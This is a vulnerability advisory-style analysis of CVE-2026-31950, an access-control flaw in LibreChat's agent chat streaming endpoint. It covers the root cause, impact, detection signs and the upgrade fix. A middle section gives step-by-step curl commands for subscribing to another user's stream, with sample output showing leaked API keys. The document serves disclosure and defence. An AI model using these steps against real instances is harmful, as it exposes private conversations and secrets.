CVE-2026-31950: 
NixOS vulnerability analysis and mitigation

CVE-2026-31950 is an Insecure Direct Object Reference (IDOR) vulnerability in LibreChat, an open-source ChatGPT-like platform, affecting versions 0.8.2-rc2 and 0.8.2-rc3. The SSE streaming endpoint /api/agents/chat/stream/:streamId fails to verify that the requesting user owns the stream, allowing any authenticated user who obtains or guesses a valid stream ID to read another user's real-time chat content. The vulnerability was published on March 27, 2026, and patched in version 0.8.2. It carries a CVSS v3.1 base score of 5.3 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is an authorization inconsistency (CWE-284: Improper Access Control; CWE-639: Authorization Bypass Through User-Controlled Key) in the agents route handler (api/server/routes/agents/index.js, lines 38–114). While two sibling endpoints — /chat/status/:conversationId and /chat/abort — correctly compare job.metadata.userId against req.user.id and return HTTP 403 on mismatch, the /chat/stream/:streamId endpoint retrieves the job and immediately begins streaming to any authenticated requester without performing this ownership check. Exploitation requires the attacker to be authenticated (JWT required via router.use(requireJwtAuth)) and to possess a valid, active stream ID; stream IDs are cryptographically random UUIDs (v4, 122 bits of entropy), so brute-force is infeasible — the attacker must obtain the ID through secondary channels such as URL sharing, log leakage, browser history, or shoulder surfing (GitHub Advisory).

Successful exploitation results in a confidentiality breach: an attacker can subscribe to a victim's real-time SSE stream and read all chat content as it is generated, including private messages, AI responses, and tool invocations. Sensitive data exposed may include API keys, passwords, personally identifiable information (PII), and business secrets shared within the chat. The attack is entirely invisible to the victim, there is no integrity or availability impact, and the scope is confined to the LibreChat application itself (GitHub Advisory).

A proof-of-concept exploit with step-by-step curl commands is publicly documented in the GitHub Security Advisory and in a linked Gist (https://gist.github.com/logicx24/465da87ec8d8a9124d671c068bcebef9). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.028% (0.000280), reflecting low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Red Hat CVE).

1. Obtain authentication tokens: Acquire a valid JWT for an attacker-controlled account on the target LibreChat instance (standard login).
2. Identify a victim's active stream: Obtain the victim's stream ID through a secondary channel — e.g., a shared URL containing the conversationId/streamId, leaked server logs, browser history, or by observing network traffic if on the same network.
3. Initiate victim's chat (if needed): If the attacker can trigger the victim to start a chat (e.g., via social engineering), the response will include a streamId in the JSON body:

curl -X POST http://TARGET:3080/api/agents/chat \
  -H "Authorization: Bearer $VICTIM_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"endpoint":"agents","agentId":"agent_123","text":"Tell me my private API keys","conversationId":null,"parentMessageId":"00000000-0000-0000-0000-000000000000"}'
# Response: {"streamId":"abc-123-def",...}

4. Subscribe to the victim's stream: Using the attacker's own JWT and the obtained stream ID, connect to the vulnerable SSE endpoint:

curl -N http://TARGET:3080/api/agents/chat/stream/abc-123-def \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Accept: text/event-stream"

5. Receive victim's real-time chat content: The server streams the victim's conversation without any ownership check:

event: message
data: {"content":"Here are your API keys: sk-...","role":"assistant"}
event: runStep
data: {"tool":"code_interpreter","input":"fetch_secrets()"}

(GitHub Advisory)

• Network: Unexpected HTTP GET requests to /api/agents/chat/stream/<uuid> from a user account that did not initiate the corresponding chat session; multiple authenticated users connecting to the same stream ID simultaneously.
• Logs: Server access logs showing the same streamId accessed by different userId values or JWT tokens; requests to the SSE stream endpoint from IP addresses or user accounts inconsistent with the conversation owner.
• Application Behavior: An authenticated user account making SSE subscription requests to stream IDs not associated with any conversation they initiated; anomalous patterns of stream endpoint access (e.g., a single account subscribing to many different stream IDs in a short period).

(GitHub Advisory)

Upgrade LibreChat to version 0.8.2 or later, which patches the issue by adding an ownership check to the /api/agents/chat/stream/:streamId endpoint consistent with the protections already present on the /chat/status/:conversationId and /chat/abort endpoints. If immediate patching is not possible, restrict network-level access to the /api/agents/chat/stream/ endpoint to trusted users or networks, or implement an additional authentication/authorization layer at a reverse proxy. Monitor server access logs for anomalous cross-user stream subscriptions as a detective control (GitHub Advisory, Red Hat CVE).

The vulnerability was reported by security researcher logicx24, who provided a detailed advisory and a full PoC script. The LibreChat maintainers acknowledged and patched the issue promptly in version 0.8.2, published the GitHub Security Advisory on March 27, 2026, and credited the reporter. No significant broader media coverage or notable social media discussion beyond the advisory itself has been identified (GitHub Advisory).